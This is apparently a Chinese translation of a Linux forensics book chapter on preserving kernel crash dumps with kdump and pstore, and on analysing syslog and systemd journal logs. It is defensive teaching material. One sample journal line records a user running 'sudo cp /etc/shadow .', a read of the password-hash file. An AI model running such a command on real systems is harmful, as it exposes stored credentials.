从崩溃的内核中保存数据是一个“先有鸡还是先有蛋”的问题。你需要一个正常运行的内核来保存数据,但崩溃的内核不一定是可用的。kdumppstore两种软件方法试图解决这个问题,并在内核崩溃后保留信息。一些硬件设备还使用 DMA 通过 PCI 或雷电接口转储内存,但这些方法并非 Linux 特有,因此这里不作详细介绍。

pstore 方法(如果启用)会保存崩溃时的追踪信息和 dmesg 信息,供重启后检索。多个 pstore “后端”可以在崩溃后持续保存信息。主板固件上的存储可以使用 EFI 变量或 ACPI 错误序列化实现。数据也可以存储在重启后保持不变的 RAM 保留区域,并且可以使用本地块设备(分区或磁盘)。如果存储空间有限,只有崩溃的回溯信息或 dmesg 的尾部会被保存。在运行的系统中,可以在 /sys/fs/pstore/ 中找到这些信息(对于 EFI,这是对应变量在 /sys/firmware/efi/efivars/ 中的解压表示)。最近版本的 systemd(从版本 243 开始)包括了 systemd-pstore 服务,该服务将 pstore 数据复制到磁盘,并清除固件存储,以便可以再次使用。它被存储在 /var/lib/systemd/pstore/ 中,并应在检查时查看。如果可用,您可以单独读取可疑机器的主板的 EFI 变量和数据。

kdump 方法使用一个在启动时加载的第二个内核,当第一个内核发生崩溃时,尝试恢复第一个内核的内存。执行控制交给功能性第二内核,该内核通过 kexec(属于 kexec-tools 软件包的一部分)引导,并带有一个独立的 initrd,能够将完整的内存镜像保存到预定义位置。图 4-3 是这个过程的视觉描述。^(9)

Image

图 4-3:使用 kdump 保存内核镜像

保存内核内存镜像和其他来自 kdump 的信息的常见位置是 /var/crash/。例如,Ubuntu 系统的 kdump 崩溃目录会创建一个带时间戳的子目录,结构如下:

# ls -lh /var/crash/202011150957/
total 612M
-rw------- 1 root whoopsie 69K Nov 15 09:59 dmesg.202011150957
-rw------- 1 root whoopsie 612M Nov 15 09:59 dump.202011150957

在这个例子中,/var/crash/202011150957/ 目录包含 dmesg 输出的文件(文本文件)和压缩的内核转储文件,所有文件的文件名中都有时间戳。其他发行版可能会使用 vmcore 作为文件名。

/var/crash/ 中的内核转储镜像很可能是压缩的。如果要使用雕刻工具、字符串工具或十六进制编辑器处理该镜像,必须先将其解压。您可以将转储文件复制到分析系统,并使用 makedumpfile 命令将其解压:

$ makedumpfile -d 0 dump.202011150957 raw-dump.202011150957
Copying data        : [100.0 %] \      eta: 0s

The dumpfile is saved to raw-dump.202011150957.

makedumpfile Completed.

在这里,生成的文件大小大致与待检查系统的物理 RAM 大小相同(假设在转储时包含了所有内存页面)。

kdump方法用于调试,并不一定保存整个内存镜像。开发人员主要关心内核代码和堆栈跟踪信息,而makedumpfile命令可能会配置为排除某些内存页面。然而,取证检查员关注的是完整性,包括所有进程的数据和内容,甚至是未使用的内存。在为证据目的(即取证准备)设置kdump时,可以配置makedumpfile保存整个内存镜像(使用makedumpfile标志-d 0)。有关如何更改内核转储文件生成方式的说明,请参阅 makedumpfile(8)和 makedumpfile.conf(5)手册页。

你可以使用取证雕刻工具(用于字符串或文件碎片)、gdb这样的调试器,或Volatility这样的内存取证工具来分析未压缩的转储文件。以下是你可以通过雕刻技术获取的一些信息示例:

  • 文件和文件碎片

  • 媒体文件中的 EXIF 数据

  • 信用卡号码和磁道 2 信息

  • 域名

  • 电子邮件地址

  • IP 地址

  • 以太网 MAC 地址

  • URL

  • 电话号码

  • 自定义指定的正则表达式字符串

以下是调试器和内存取证工具可以提取的一些信息示例:

  • 进程列表

  • ARP 表(MAC 地址及其关联的 IP 地址)

  • 打开的文件

  • 网络接口

  • 网络连接

  • 已加载的内核模块

  • 基于内存的 Bash 历史

  • 可疑进程

  • 缓存的 TrueCrypt 密码

使用gdbVolatility进行的完整内存分析超出了本书的范围。然而,这里提供了足够的信息,帮助你识别如果它们存储在磁盘上的完整内核内存转储。一本名为Linux 内核崩溃手册(* www.dedoimedo.com/computers/www.dedoimedo.com-crash-book.pdf *)的免费书籍更详细地描述了内核崩溃。

总结

本章介绍了典型 Linux 系统的起源和当前目录布局,重点突出了对取证调查人员感兴趣的领域。还描述了创建哈希集和 NSRL(国家软件参考库)时的挑战,尤其是对于自由和开源软件。在阅读本章之后,你应该能够识别 Linux 文件类型,并理解文件系统中的 POSIX 文件类型和应用程序内容文件类型之间的区别。此外,本章还提供了文件元数据和内容的分析,包括隐藏文件、可执行文件和包含内存转储的文件。现在你应该具备基础知识,以探索用户空间的遗留物,如日志、软件安装和其他用户生成的活动。

第五章:正在调查来自 Linux 日志的证据

Image

计算机术语log源自古代水手用来测量船只航行速度的一种技术。一个绑着长绳的木块被扔到船后面水中,绳子上定期间隔着结点,水手们在船只远离漂浮的木块时,数着这些结点的数量。通过计数一定时间内经过的结点数量,他们可以计算船只的速度。定期测量的船速被记录在船只的“日志本”或日志中。

随着时间的推移,log一词开始代表各种记录的周期性测量或事件。日志本仍然被组织用来记录进入建筑物的访客、货物的交付以及其他需要书面历史记录的活动。计算机登录和注销的概念被创造出来以控制和记录用户活动。早期的分时计算机系统非常昂贵,需要跟踪不同用户消耗的计算资源。随着存储容量和处理能力的成本下降,日志记录的使用扩展到几乎所有现代计算机系统的部分。这些丰富的日志活动是数字证据的重要来源,有助于取证调查人员重建过去的事件和活动。

传统 Syslog

在 Unix 及类 Unix 操作系统(如 Linux)上的传统日志系统是syslog。Syslog 最初是为了 sendmail 软件包在 1980 年代初编写的,之后成为 IT 基础设施的事实标准日志系统。

Syslog 通常作为一个守护进程(也称为收集器)来实现,监听来自多个源的日志消息,如通过网络套接字(UDP 端口 514)到达的包、局部命名管道或 syslog 库调用(见图 5-1)。

Image

图 5-1:传统 syslog 架构(rsyslog)

syslog 架构和网络协议在 RFC 5424 中有定义。Linux 发行版历史上包含了几种 syslog 实现,用于本地系统日志记录,最常见的是rsyslog

Syslog 功能、严重性和优先级

syslog 标准定义了消息的格式以及日志条目的几个特征。这些特征包括功能严重性优先级

消息功能允许根据子系统对日志进行分类。RFC 5424 文档列出了 24 种 syslog 消息功能。rsyslog .conf(5)手册页和 Linux syslog.h头文件定义了它们,如下所示:

0  kern: kernel messages
1  user: random user-level messages
2  mail: mail system
3  daemon: system daemons
4  auth: security/authorization messages
5  syslog: messages generated internally by syslogd
6  lpr: line printer subsystem
7  news: network news subsystem (obsolete)
8  uucp: UUCP subsystem (obsolete)
9  cron: clock daemon
10 authpriv (auth-priv): security/authorization messages
11 ftp: FTP daemon
12 reserved
13 reserved
14 reserved
15 reserved
16 local0: reserved for local use
17 local1: reserved for local use
18 local2: reserved for local use
19 local3: reserved for local use
20 local4: reserved for local use
21 local5: reserved for local use
22 local6: reserved for local use
23 local7: reserved for local use

其中一些功能代码,如news(Usenet)或uucp(Unix 到 Unix 复制),已经过时,可能会被系统管理员在本地站点显式重新定义。最后八个“本地”功能专门为本地站点保留,供根据需要使用。

一个名为 mark 的内部设施通常独立于 syslog 标准实现。如果使用,syslog 守护进程会生成带有时间戳的 mark 日志条目,并在预定的时间间隔内记录。这些标记表明,在没有收到日志的时间段内,日志子系统仍然在正常工作。在取证检查中,这些标记是潜在的活动缺失指示器,可能是调查中的有用信息。

有八个严重性级别,其中零是最严重的。最高的数字会生成最多的信息量,通常在故障排除或调试时根据需要启用。严重性级别可以表示为数字值或文本标签。级别在这里列出,并附有简短或替代的名称和描述:

0 emergency (emerg or panic): system is unusable
1 alert (alert): action must be taken immediately
2 critical (crit): critical conditions
3 error (err): error conditions
4 warning (warn): warning conditions
5 notice (notice): normal but significant condition
6 informational (info): informational messages
7 debug (debug): debug-level messages

从取证准备的角度来看,这些严重性级别非常重要。如果某个特定的 syslog 生成组件面临更高的风险或怀疑,或者有正在进行的事件,可以暂时改变日志的严重性级别,以增加日志的详细程度。一些工具和文档可能会在提到严重性时使用“优先级”一词。

syslog 消息的优先级,或称 PRI 值,是根据设施和严重性计算得出的(方法是将设施乘以八,然后加上严重性)。syslog 守护进程可以使用优先级数字来决定如何处理消息。这些决定包括保存位置和文件、过滤、转发到哪些主机等。

Syslog 配置

本地 syslog 守护进程的配置在取证调查中非常重要。配置文件条目(包括默认值和管理员自定义内容)指引调查员日志存放的位置、记录了哪些严重性级别以及涉及了哪些其他日志主机。常见的 syslog 守护进程配置文件位置有:

  • /etc/syslog.conf

  • /etc/rsyslog.conf

  • /etc/rsyslog.d/.conf*

  • /etc/syslog-ng.conf

  • /etc/syslog-ng/*

这些是纯文本文件,任何文本编辑器都可以读取。这里的示例包括 BSD syslog、rsyslog 和 syslog-ng 实现。

配置文件定义了守护进程管理的日志的位置和内容。典型的 syslog 配置行有两个字段:选择器和操作。选择器 字段由设施和严重性(用点分隔)组成。操作 字段定义了日志与选择器匹配时的目标或其他操作。以下是一个 rsyslog 配置文件的示例:

#*.debug    /var/log/debug
kern.*      /var/log/kern.log
mail.err    /var/log/mail.err
*.info      @loghost

第一行被注释掉,通常用于在需要时进行调试。第二行将所有内核日志发送到/var/log/kern.log,不论其严重性如何。第三行将所有严重性为error或更高的邮件日志发送到/var/log/mail.err日志文件。这些文件保存在本地,可以轻松定位和检查。最后一行将所有日志消息(任何设施)中严重性为info或更高的发送到网络上的另一台主机。@表示网络目标,loghost是中央日志记录基础设施。

网络目标对于调查特别有趣,因为它们表示来自非本地日志数据源的数据,这些数据可以被收集和检查。如果相同的日志同时存储在本地和远程日志主机上,那么如果数据不匹配,关联可能会变得很有趣。数据不匹配可能表示其中一条日志被恶意修改。

在 Linux 系统中,/var/log/ 目录是保存日志的最常见位置。然而,当大量日志数据被写入时,这些纯文本文件在可扩展性、性能和可靠性方面面临挑战。企业 IT 环境仍然使用通过网络传输的 syslog 协议,但消息通常会保存到高性能数据库或专门设计用于管理日志的系统中(Splunk 是一个常见的例子)。这些数据库对于调查人员来说是一个宝贵的信息来源,并能加速快速的迭代调查过程。相比于数据库日志系统,超大的基于文本的日志文件在查询(grep)关键字时可能需要更长时间。

分析 Syslog 消息

通过网络传输的 syslog 消息不一定与保存到文件中的对应消息完全相同。例如,某些字段可能不会被保存(这取决于 syslog 配置)。

带有内建 syslog 支持的程序,也称为源程序,使用编程库或外部程序在本地系统上生成 syslog 消息。实现 syslog 的程序可以自由选择每条消息的任意设施和严重性等级。^(1)

为了说明这一点,我们来看看logger^(2)工具,它用于生成 syslog 消息:

$ logger -p auth.emerg "OMG we've been hacked!"

这个示例中的 syslog 消息可以在网络中观察到。当被tcpdump捕获并解码时,它看起来是这样的:

21:56:32.635903 IP (tos 0x0, ttl 64, id 12483, offset 0, flags [DF],
proto UDP (17), length 80)
    pc1.42661 > loghost.syslog: SYSLOG, length: 52
        Facility auth (4), Severity emergency (0)
        Msg: Nov 2 21:56:32 pc1 sam: OMG we've been hacked!

根据 syslog 守护进程的配置,原始 syslog 消息中的某些信息(如严重性或设施)可能不会被存储到目标日志文件中。例如,典型的 rsyslog 配置将如下所示地记录前面示例中的 syslog 消息:

Nov 2 21:56:32 pc1 sam: OMG we've been hacked!

在这里,严重级别和设施不会在本地记录;但是,syslog 守护进程在接收到消息时会了解这些信息,并可能使用这些信息来选择日志的目的地。在loghost上,UDP 端口号(尤其是源端口)也不会被记录,除非站点正在记录防火墙流量或使用 netflow 日志记录。

大多数 syslog 系统默认记录一些标准项。以下是 rsyslog 生成的典型日志条目的示例:

Nov 2 10:19:11 pc1 dhclient[18842]: DHCPACK of 10.0.11.227 from 10.0.11.1

这条日志行包含了时间戳、本地主机名,以及生成消息的程序及其进程 ID(方括号内),随后是程序生成的消息。在这个例子中,dhclient程序(PID 18842)正在记录一个 DHCP 确认消息,其中包含计算机的本地 IP 地址(10.0.11.227)和 DHCP 服务器的 IP 地址(10.0.11.1)。

大多数 Linux 系统使用日志轮换来管理随着时间推移而增长的日志文件的保留。较旧的日志文件可能会被重命名、压缩,甚至删除。常用的管理工具是 logrotate,它通过一组配置文件来管理日志的保留和轮换。默认的配置文件是/etc/logrotate.conf,但软件包安装时可能会提供自己的 logrotate 配置并将其保存在/etc/logrotate.d/中。在法医检查过程中,检查日志文件如何以及是否进行了轮换和保留是非常有用的。logrotate 软件包可以管理任何日志文件,而不仅仅是 syslog 生成的日志。

法医检查员应该意识到,syslog 消息存在一些安全问题,这些问题可能会影响结果日志的证据价值。因此,所有日志都应谨慎分析:

  • 程序可以根据需要生成任何设施和严重级别的消息。

  • 通过网络发送的 syslog 消息是无状态的、不加密的,并且基于 UDP,这意味着它们可能在传输过程中被伪造或篡改。

  • Syslog 不会检测或管理丢失的数据包。如果发送的消息过多或网络不稳定,某些消息可能会丢失,导致日志不完整。

  • 基于文本的日志文件可能会被恶意篡改或删除。

最终,信任日志和 syslog 消息需要评估并接受完整性和准确性的风险。

一些 Linux 发行版已经开始转向使用 systemd 日志系统进行日志记录,并且不再安装 syslog 守护进程。很可能,桌面 Linux 系统上本地安装的 syslog 守护进程将逐渐失去流行,但在服务器环境中,syslog 将继续作为基于网络的日志记录的事实标准。

Systemd Journal

过时的 syslog 系统的不足导致了许多安全性和可用性方面的增强。这些增强功能中的许多已经作为非标准功能添加到现有的 syslog 守护进程中,但在 Linux 发行版中并未得到广泛使用。systemd 日志是从零开始开发的,作为一种替代的日志系统,具备了 syslog 中缺失的额外功能。

Systemd 日志功能和组件

systemd 日志的设计目标和决策是为传统日志系统中已有的功能添加新特性,并集成先前作为单独守护进程或程序运行的各种组件。systemd 日志功能包括:

  • 与 systemd 紧密集成

  • 捕获并记录守护进程的 stderrstdout

  • 日志条目被压缩并以数据库格式存储

  • 使用前向安全封装(FSS)实现内建完整性

  • 每个条目的额外受信任元数据字段

  • 日志文件压缩和轮换

  • 日志消息速率限制

引入 FSS 和受信字段后,开发人员更加关注日志的完整性和可信度。从数字取证的角度来看,这一点既有趣又有用,因为它增强了证据的可靠性。

日志提供了将消息传输到另一个日志主机(中央日志基础设施)的网络功能,类似于传统日志系统,但有一些增强功能:

  • 基于 TCP 的有状态已建立会话(解决了 UDP 的丢包问题)

  • 用于保密性和隐私的加密传输(HTTPS)

  • 认证连接以防止欺骗和未经授权的消息

  • loghost 不可用时的消息排队(无丢失消息)

  • 使用 FSS 签名数据以确保消息的完整性

  • 主动或被动消息传递模式

这些网络功能允许构建一个更安全的日志基础设施,重点关注完整性和完整性。syslog 的一个重大问题是基于 UDP 的无状态数据包传输。使用 systemd 日志后,日志传输的可靠性和完整性得到了保障。

如果使用了日志的网络功能,请检查 /etc/systemd/journal-upload.conf 文件中的 "URL=" 参数,该参数包含了中央日志主机的主机名。这是一个法医证据,可能指示日志存在于其他位置,并且对于日志不持久的系统来说,可能非常重要。

图 5-2 显示了 systemd 日志网络的架构组件图。

Image

图 5-2:Systemd 日志网络

有关日志网络功能的更多信息,请参阅 systemd-journal-remote(8)、systemd-journal-gatewayd(8) 和 systemd-journal-upload(8) 的手册页。尽管这些功能具有创新性,并大大改善了传统日志记录,但它们是特定于 systemd 的,且在 Linux 社区之外并不兼容或广为人知。

Systemd 日志配置

理解 systemd 日志的配置有助于我们评估在系统上寻找法医证据的潜力。日志作为一个普通的 Linux 守护进程(见 图 5-3),名为 systemd-journald,且表现得相当稳定。

在 systemd-journald(8) 手册页中有详细记录。你可以通过检查 systemd 单元文件(systemd-journald.service)来查看日志守护进程在启动时的 enable 状态。

Image

图 5-3:Systemd 日志守护进程

systemd 日志有多个配置参数,用于定义其操作的各个方面(详细描述见 journald.conf(5) 手册页)。日志的常见配置文件位置如下:

  • /etc/systemd/journald.conf

  • /etc/systemd/journald.conf.d/.conf*

  • /usr/lib/systemd/journald.conf.d/.conf*

配置文件通过 "Storage=" 参数指定日志是易失性还是持久化的。如果配置为持久化,日志将以二进制格式存储在 /var/log/journal/ 中。如果配置为易失性,它们将存储在 /run/log/journal/ 中,并且只在系统运行时存在;在系统关闭后,无法进行事后法医分析。如果设置了 "ForwardToSyslog= yes",日志将被发送到本地机器的传统 syslog 系统,并存储在本地日志文件(/var/log/)中,或者可能会被转发到中央日志主机。

在具有持久化日志的系统中,/var/log/journal/ 目录包含一个以机器 ID 命名的子目录(该 ID 在 /etc/machine-id 中可以找到),该目录包含本地日志文件。用于标识日志文件的魔数是初始字节序列 0x4C504B5348485248 或 LPKSHHRH。

日志文件包含系统日志和用户日志。系统日志由系统服务和内核生成。用户日志由用户登录会话(shell 或桌面)和用户执行的各种程序生成。用户可以读取自己的日志,但不允许直接修改或写入这些日志。

这是一个机器 ID 为 506578466b474f6e88ec fbd783475780 的系统示例,以及相应的包含日志文件的目录:

$ ls /var/log/journal/506578466b474f6e88ecfbd783475780
user-1001@0005aa24f4aa649b-46435710c1877997.journal~
user-1001@dd54beccfb52461d894b914a4114a8f2-00000000000006a8-0005a1d176b61cce.journal
system@e29c14a0a5fc46929ec601deeabd2204-0000000000000001-00059e3713757a5a.journal
user-1001@dd54beccfb52461d894b914a4114a8f2-0000000000000966-0005a1d17821abe4.journal
system@e29c14a0a5fc46929ec601deeabd2204-000000000000189c-00059e37774baedd.journal
user-1001.journal
system.journal

正常的日志文件扩展名是 .journal*。如果系统崩溃或发生了非正常关机,或者日志文件被损坏,文件名将以波浪号(.journal~*)结尾。当前正在使用的日志文件,或者“在线”的日志文件,其文件名为 system.journaluser-UID.journal(其中 UID 是用户的数字 ID)。已被归档或转存为“离线”的日志文件,其文件名在原始名称后会加上 @ 和一个唯一的字符串。这个 @.journal 之间的唯一字符串被分为三部分,用来描述日志文件的内容。

让我们分析一个长日志文件名的组成,如下例所示:

/var/log/journal/506578466b474f6e88ecfbd783475780/system@e29c14a0a
5fc46929ec601deeabd2204-000000000000189c-00059e37774baedd.journal

解构后的部分如下:

/var/log/journal/ 持久化日志文件的位置(路径)

506578466b474f6e88ecfbd783475780/ 机器 ID 目录

system@ 表示已归档的系统日志文件

e29c14a0a5fc46929ec601deeabd2204 序列号

-000000000000189c 文件中的第一个序列号

-00059e37774baedd 第一个日志条目的十六进制时间戳

.journal 表示一个 systemd 日志文件

十六进制时间戳表示第一个日志条目添加到日志时的时间。对于熟悉的秒级纪元,将此时间戳转换为十进制并去掉最后六位数字。

如果系统通过网络接收来自其他主机的日志(通过 systemd-journal-uploadsystemd-journal-gatewayd),则可能存在一个 remote/ 目录,其中包含每个远程主机的日志。这些日志的文件名将类似于 remote-HOSTNAME.journal

日志记录了 systemd 启动过程,并跟踪单元文件的启动和停止,直到系统关闭。Linux 系统保持一个唯一的 128 位启动 ID,可以在运行中的系统中找到(路径: /proc/sys/kernel/random/boot_id)。启动 ID 是内核在每次启动时随机生成的,它作为特定启动时段(从启动到关机/重启)的唯一标识符。启动 ID 被记录在日志中,并用于区分启动之间的时间段(例如,journalctl --list-boots)以及显示自上次启动以来的日志(例如,journalctl -b)。这些 journalctl 选项也可以应用于文件或目录进行离线分析。如果在某个特定的启动期间发生了已知的恶意活动,启动 ID 在法医检查时可能会很有用。

日志文件内容分析

如果没有商业法医工具支持日志文件,你可以将日志文件复制到另一台 Linux 分析机上,并使用 journalctl 命令进行分析。这个命令允许你列出日志内容,搜索日志,列出单独的启动期,查看额外的日志元数据(特定于 journald),查看程序的 stderrstdout,导出到其他格式等。

在将所需的日志文件或整个日志目录复制到分析机器后,你可以使用 journalctl 的文件和目录标志来指定要分析的日志文件位置:

$ journalctl --file <filename>
$ journalctl --directory <directory>

指定文件时仅对该单个文件进行操作。指定目录时会对该目录中的所有有效日志文件进行操作。

每个日志文件包含一个头部,里面有关于自身的元数据,可以通过使用 journalctl--header 标志来查看;例如:

$ journalctl --file system.journal --header
File path: system.journal
File ID: f2c1cd76540c42c09ef789278dfe28a8
Machine ID: 974c6ed5a3364c2ab862300387aa3402
Boot ID: e08a206411044788aff51a5c6a631c8f
Sequential number ID: f2c1cd76540c42c09ef789278dfe28a8
State: ONLINE
Compatible flags:
Incompatible flags: COMPRESSED-ZSTD KEYED-HASH
Header size: 256
Arena size: 8388352
Data hash table size: 233016
Field hash table size: 333
Rotate suggested: no
Head sequential number: 1 (1)
Tail sequential number: 1716 (6b4)
Head realtime timestamp: Thu 2020-11-05 08:42:14 CET (5b3573c04ac60)
Tail realtime timestamp: Thu 2020-11-05 10:12:05 CET (5b3587d636f56)
Tail monotonic timestamp: 1h 29min 53.805s (1417ef08e)
Objects: 6631
Entry objects: 1501
Data objects: 3786
Data hash table fill: 1.6%
Field objects: 85
Field hash table fill: 25.5%
Tag objects: 0
Entry array objects: 1257
Deepest field hash chain: 2
Deepest data hash chain: 1
Disk usage: 8.0M

输出提供了日志文件的技术描述,覆盖时间段的时间戳(头部和尾部),日志条目数(Entry objects)以及其他统计信息。你可以在这里找到更多关于日志文件格式的信息:^(3) systemd.io/JOURNAL_FILE_FORMAT/

以下示例使用 journalctl 命令列出了特定日志文件的基本内容:

$ journalctl --file system.journal
-- Logs begin at Thu 2020-11-05 08:42:14 CET, end at Thu 2020-11-05 10:12:05 CET. --
Nov 05 08:42:14 pc1 kernel: microcode: microcode updated early to revision 0xd6,
date = 2020-04-27
Nov 05 08:42:14 pc1 kernel: Linux version 5.9.3-arch1-1 (linux@archlinux) (gcc (GCC)
10.2.0, GNU ld (GNU Binutils) 2.35.1) #1 SMP PREEMPT Sun, 01 Nov 2020 12:58:59 +0000
Nov 05 08:42:14 pc1 kernel: Command line: BOOT_IMAGE=/boot/vmlinuz-linux root=
UID=efbfc8dd-8107-4833-9b95-5b11a1b96875 rw loglevel=3 quiet pcie_aspm=off
i915.enable_dpcd_backlight=1
...
Nov 05 10:11:53 pc1 kernel: usb 2-1: Product: USB Flash Drive
Nov 05 10:11:53 pc1 kernel: usb 2-1: Manufacturer: Philips
Nov 05 10:11:53 pc1 kernel: usb 2-1: SerialNumber: 070852A521943F19
Nov 05 10:11:53 pc1 kernel: usb-storage 2-1:1.0: USB Mass Storage device detected
...
Nov 05 10:12:05 pc1 sudo[10400]:   sam : TTY=pts/5 ; PWD=/home/sam/test ; USER=root ;
COMMAND=/usr/bin/cp /etc/shadow .
Nov 05 10:12:05 pc1 sudo[10400]: pam_unix(sudo:session): session opened for user
root(uid=0) by (uid=0)
...

在此示例中,system.journal 是正在分析的文件名。第一行是信息性内容,表示输出中包含的时间段。部分输出来自内核,类似于 dmesg 命令的输出。其他行类似于 syslog,从时间戳、主机名、守护进程名称以及方括号中的进程 ID 开始,最后以日志消息结束。journalctl 命令也可能添加其他信息性行,如 -- Reboot --,表示启动周期的结束(并开始新的启动 ID)。

每条日志条目都有与日志消息一起存储的特定元数据。可以使用详细输出(-o verbose)参数对日志条目进行完整提取。以下是来自 OpenSSH 守护进程的详细日志条目:

$ journalctl --file system.journal -o verbose
...
Thu 2020-11-05 08:42:16.224466 CET [s=f2c1cd76540c42c09ef789278dfe28a8;i=4a9;
b=e08a206411044788aff51a5c6a631c8f;m=41d525;t=5b3573c2653ed;x=a1434bf47ce8597d]
    PRIORITY=6
    _BOOT_ID=e08a206411044788aff51a5c6a631c8f
    _MACHINE_ID=974c6ed5a3364c2ab862300387aa3402
    _HOSTNAME=pc1
    _UID=0
    _GID=0
    _SYSTEMD_SLICE=system.slice
    SYSLOG_FACILITY=4
    _CAP_EFFECTIVE=1ffffffffff
    _TRANSPORT=syslog
    SYSLOG_TIMESTAMP=Nov 5 08:42:16
    SYSLOG_IDENTIFIER=sshd
    SYSLOG_PID=397
    _PID=397
    _COMM=sshd
    _EXE=/usr/bin/sshd
    _CMDLINE=sshd: /usr/bin/sshd -D [listener] 0 of 10-100 startups
    _SYSTEMD_CGROUP=/system.slice/sshd.service
    _SYSTEMD_UNIT=sshd.service
    _SYSTEMD_INVOCATION_ID=7a91ff16d2af40298a9573ca544eb594
    MESSAGE=Server listening on :: port 22.
    _SOURCE_REALTIME_TIMESTAMP=1604562136224466
...

该输出提供了结构化的信息,包括唯一标识符、systemd 信息、syslog 的 FACILITYPRIORITY(严重性)、生成日志消息的进程等。systemd.journal-fields(7) 手册页面描述了日志条目的字段。

日志文件以二进制格式保存,该格式是公开和有文档记录的。journalctl 工具可用于对日志文件执行各种检查任务,但某些取证调查人员可能更倾向于将日志内容导出为其他格式进行分析。两种有用的输出格式是 exportjson。export 格式类似于详细格式,每个条目之间用空行分隔(这在技术上是二进制格式,但大部分是可读文本)。json 输出将日志条目生成为 JSON 格式,方便脚本编写或导入其他分析工具。以下是创建 .json.export 文件、包含完整日志文件内容的两个命令行示例:

$ journalctl --file system.journal -o json > system.journal.json
$ journalctl --file system.journal -o export > system.journal.export

创建的新文件为 system.journal.jsonsystem.journal.export,其他(非 Linux)工具可以轻松读取这些文件。另一种输出格式是 .json-pretty,它以更易读的方式生成 JSON 格式。

搜索日志文件是通过在 FIELD=VALUE 的形式中包含匹配参数来完成的,但需要指定您要搜索的确切值。这种搜索方式对于提取特定服务的日志非常有用。例如,要提取来自 sshd.service 单元的所有日志:

$ journalctl --file system.journal _SYSTEMD_UNIT=sshd.service
-- Logs begin at Thu 2020-11-05 08:42:14 CET, end at Thu 2020-11-05 10:12:05 CET. --
Nov 05 08:42:16 pc1 sshd[397]: Server listening on 0.0.0.0 port 22.
Nov 05 08:42:16 pc1 sshd[397]: Server listening on :: port 22.
...

正则表达式(regex)可以与 --grep= 参数一起使用,但它们只能搜索消息字段,而不能搜索日志元数据。对于取证调查人员来说,搜索语法并不十分灵活,可能更容易将日志导出为其他格式,然后使用像 grep 或其他文本搜索工具这样的熟悉工具进行分析。

值得一提的是,systemd 日志可以记录守护进程和其他单元文件的 stdoutstderr。在传统的 syslog 中,这些信息通常会丢失,因为守护进程启动时会与控制终端分离。Systemd 保留了这些输出并将其保存到日志中。您可以通过指定 stdout 传输来列出这些输出:

$ journalctl --file user-1000.journal _TRANSPORT=stdout

传输指定了日志条目是如何被日志接收的。还有其他传输方式,如 syslog、内核、审计等。这些传输方式在 systemd.journal-fields(7) 手册页中有详细说明。

如果日志文件包含 FSS 信息,可以使用--verify标志检查其完整性。在以下示例中,检查了一个日志文件,PASS表示文件完整性已验证:

$ journalctl --file system.journal --verify
PASS: system.journal

如果日志文件已被篡改,它将无法通过验证:

$ journalctl --file user-1002.journal --verify
38fcc0: Invalid hash (afd71703ce7ebaf8 vs.49235fef33e0854e
38fcc0: Invalid object contents: Bad message
File corruption detected at user-1002.journal:38fcc0 (of 8388608 bytes, 44%).
FAIL: user-1002.journal (Bad message)

在此示例中,FSS 完整性在日志文件的字节偏移量 0x38fcc0 处失败,日志条目被恶意修改。如果一个日志文件在多个地方被篡改,验证将在首次篡改处失败。

在调查发生在已知时间窗口内的事件时,从明确的时间范围中提取日志是很有用的。journalctl命令可以使用两个标志:-S(自)和-U(直到)提取指定时间范围内的日志。所有自-S时间点开始到-U时间点(不包括该时间点)之前的日志都会被提取。

以下两个示例来自一台 Linux 取证分析机器,其中日志文件已被复制到证据目录以供使用journalctl命令进行检查:

$ journalctl --directory ./evidence -S 2020-11-01 -U 2020-11-03
$ journalctl --file ./evidence/system.journal -S "2020-11-05 08:00:00" -U "2020-11-05 09:00:00"

在第一个示例中,指定了包含日志文件的目录,并提取了 11 月 1 日和 11 月 2 日的日志。第二个示例指定了一个更精确的时间范围,并提取了 11 月 5 日上午 8 点到 9 点之间的日志。请参阅 journalctl(1) 手册页,了解其他时间和日期字符串的变体。

systemd 日志机制的新特性与取证准备性的预期高度一致。systemd 日志提供了日志完整性和可靠性,这些都是数字取证中的基本概念。

其他应用程序和守护进程日志

程序并不要求使用 syslog 或 systemd 日志。守护进程或应用程序可能有一个完全忽略系统提供的日志机制的独立日志系统。守护进程或应用程序也可能使用 syslog 或日志,但使用非标准的设施或严重性以及它们自己的消息格式。

自定义日志记录到 Syslog 或 Systemd 日志

Syslog 提供了一个 C 库函数,供程序生成 syslog 消息。Systemd 提供了一个 API,供程序提交日志条目到日志中。开发人员可以自由使用这些,而不是开发自己的日志子系统。然而,消息的设施、严重性和格式都是由开发人员决定的。这种自由可能导致程序之间有各种各样的日志配置。

在以下示例中,每个程序使用不同的 syslog 设施和严重性来记录类似的操作:

mail.warning: postfix/smtps/smtpd[14605]: ➊ warning: unknown[10.0.6.4]: SASL LOGIN
 authentication failed: UGFzc3dvcmQ6
...
auth.info sshd[16323]: ➋ Failed password for invalid user fred from 10.0.2.5 port 48932 ssh2
...
authpriv.notice: auth: pam_unix(dovecot:auth): ➌ authentication failure; logname= uid=0
 euid=0 tty=dovecot ruser=sam rhost=10.0.3.8
...
daemon.info: danted[30614]: ➍ info: block(1): tcp/accept ]: 10.0.2.5.56130 10.0.2.6.1080:
 error after reading 3 bytes in 0 seconds: client offered no acceptable authentication method

这些日志描述了来自邮件服务器(postfix)➊、安全外壳(sshd)➋、IMAP 服务器(dovecot 使用 pam)➌ 和 SOCKS 代理(danted)➍ 的登录失败情况。它们使用了不同的设施(mailauthauthprivdaemon),并且使用了不同的严重性(warninginfonotice)。在某些情况下,额外的日志可能包含关于同一事件在不同设施或严重性下的更多信息。法医检查员不应假设所有类似的日志事件都会使用相同的设施或严重性,而应预期会有一些变动。

守护进程可以选择将日志记录到自定义或用户定义的设施中。这通常在守护进程的配置中定义,或者通过编译的默认值来设置。例如:

local2.notice: pppd[645]: CHAP authentication succeeded
local5.info: TCSD[1848]: TrouSerS trousers 0.3.13: TCSD up and running.
local7.info: apache2[16455]: ssl: 'AH01991: SSL input filter read failed.'

在这个例子中,pppd 守护进程使用 local2 作为设施,管理 TPM 的 tcsd 守护进程使用 local5,而 Apache 网络服务器(apache2)配置为使用 local7。守护进程可以选择任何它们想要的设施,系统管理员可以选择将日志记录配置到所需的设施。

当调查进行中或攻击正在进行时,可能需要额外的日志记录(可能是暂时性的)。如果涉及潜在嫌疑人或受害者的风险增加,可以选择性地增加日志记录,以支持数字法医证据的收集。例如,考虑以下可以使用选择性增强日志记录的潜在实体:

  • 一个特定的用户或用户组

  • 一个地理区域或特定位置

  • 一个特定的服务器或服务器组

  • 一个 IP 地址或 IP 范围

  • 系统上运行的特定软件组件(守护进程)

